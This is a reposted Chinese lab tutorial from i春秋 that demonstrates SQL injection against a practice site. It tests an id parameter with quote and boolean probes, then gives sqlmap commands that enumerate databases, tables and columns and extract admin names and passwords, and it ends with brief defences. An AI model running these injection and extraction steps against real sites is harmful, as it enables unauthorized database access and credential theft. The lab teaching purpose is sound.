i春秋:无处不在的SQL注入

转载

喜欢散步 于 2015-06-01 08:53:08 发布
文章标签： 入侵 初学 安全 渗透 漏洞
实验环境

- 实验环境
  - 操作机：Windows XP
  - 目标机：Windows 2003
- 目标网址：www.test.ichunqiu
- 实验工具：sqlmap注入工具

实验目的
本节课程通过对SQL注入的演示，让大家了解SQL注入漏洞的方式，并学习应对此种漏洞的防御方法。

实验思路

1. 手工检测判断注入点
2. 利用SQLMap注入数据库
3. 获取数据库信息
4. 防御方案

实验步骤
1

手工检测判断注入点

首先打开目标站点www.test.ichunqiu找注入点，打开文章中心随便点一篇文章,页面地址为http://www.test.ichunqiu/Art—Show.php？id=2,首先在id=2后面加一个单引号来判断这是否是一个注入点,返回了一个错误提示更新点击数出现错误!。

> **小i提示：**
>
> - 可以看见url里有一个id=2，可以根据这个判断他是由get请求进行提交的，因为通过get请求提交的，提交的数据会在url里进行体现，而这个也是我们可以利用的地方。

现在替换一个注入查询语句换成 and 1=1,页面并没有出现变化,再换成 and 1=2。

> **小i提示：**
>
> - 这里出现了一个错误提示，更新点击树出现错误,这样说明我们输入的and 1=1 和and 1=2在数据库内执行了，因为and 1=1这条查询语句就永为真，它就会继续执行，and 1=2 这条语句就为假，查询语句无法继续执行，就会返回错误，这样我们就可以初步判断这个url地址是一个注入点。

2

利用sqlmap对注入点进行注入

将注入点放到sqlmap里进行进一步的判断,打开桌面上的sqlmap。

```
python sqlmap.py -u "http://www.test.ichunqiu/Art——Show.php? id=2"
```

返回信息提示这是一个注入点并且返回对方系统的信息，系统是windows，Web容器是apache2.4.9版本,语言php5.2.17版本，目标数据库是mysql5.0.11版本。

3

获取数据库内信息

使用以下命令进行注入测试，获取数据库内所有数据库的名称,返回信息目标数据库内有四个数据库：mys mysql test information_schema。

```
Python sqlmap.py -u "http：//www.test.ichunqiu/Art——Show.php? id=2" --dbs
```

使用以下命令查看网站所依赖的数据库的名称,返回信息依赖的数据库为mys。

```
Python sqlmap.py -u "http：//www.test.ichunqiu/Art——Show.php? id=2" --current-db
```

使用以下命令获取mys数据库内表信息。

```
Python sqlmap.py -u "http：//www.test.ichunqiu/Art——Show.php? id=2" -D mys --tables
```

mys数据库下一共有十四个表,使用命令获取zzcms_admin表内列的信息。

```
Python sqlmap.py -u "http：//www.test.ichunqiu/Art——Show.php? id=2" -D mys -T zzcms_admin --columns
```

使用以下命令对这name和password两个列进行查询并获取KEY。

```
Python sqlmap.py -u "http：//www.test.ichunqiu/Art——Show.php? id=2" -D mys -T zzcms_admin  -C name,pass
```

4

防御方案

1.普通用户与系统管理员的权限要有严格的区分

2.强迫使用参数化语句

3.加强对用户输入的验证

4.多使用数据库自带的安全参数

5.使用专业的漏洞扫描工具来寻找可能被攻击的点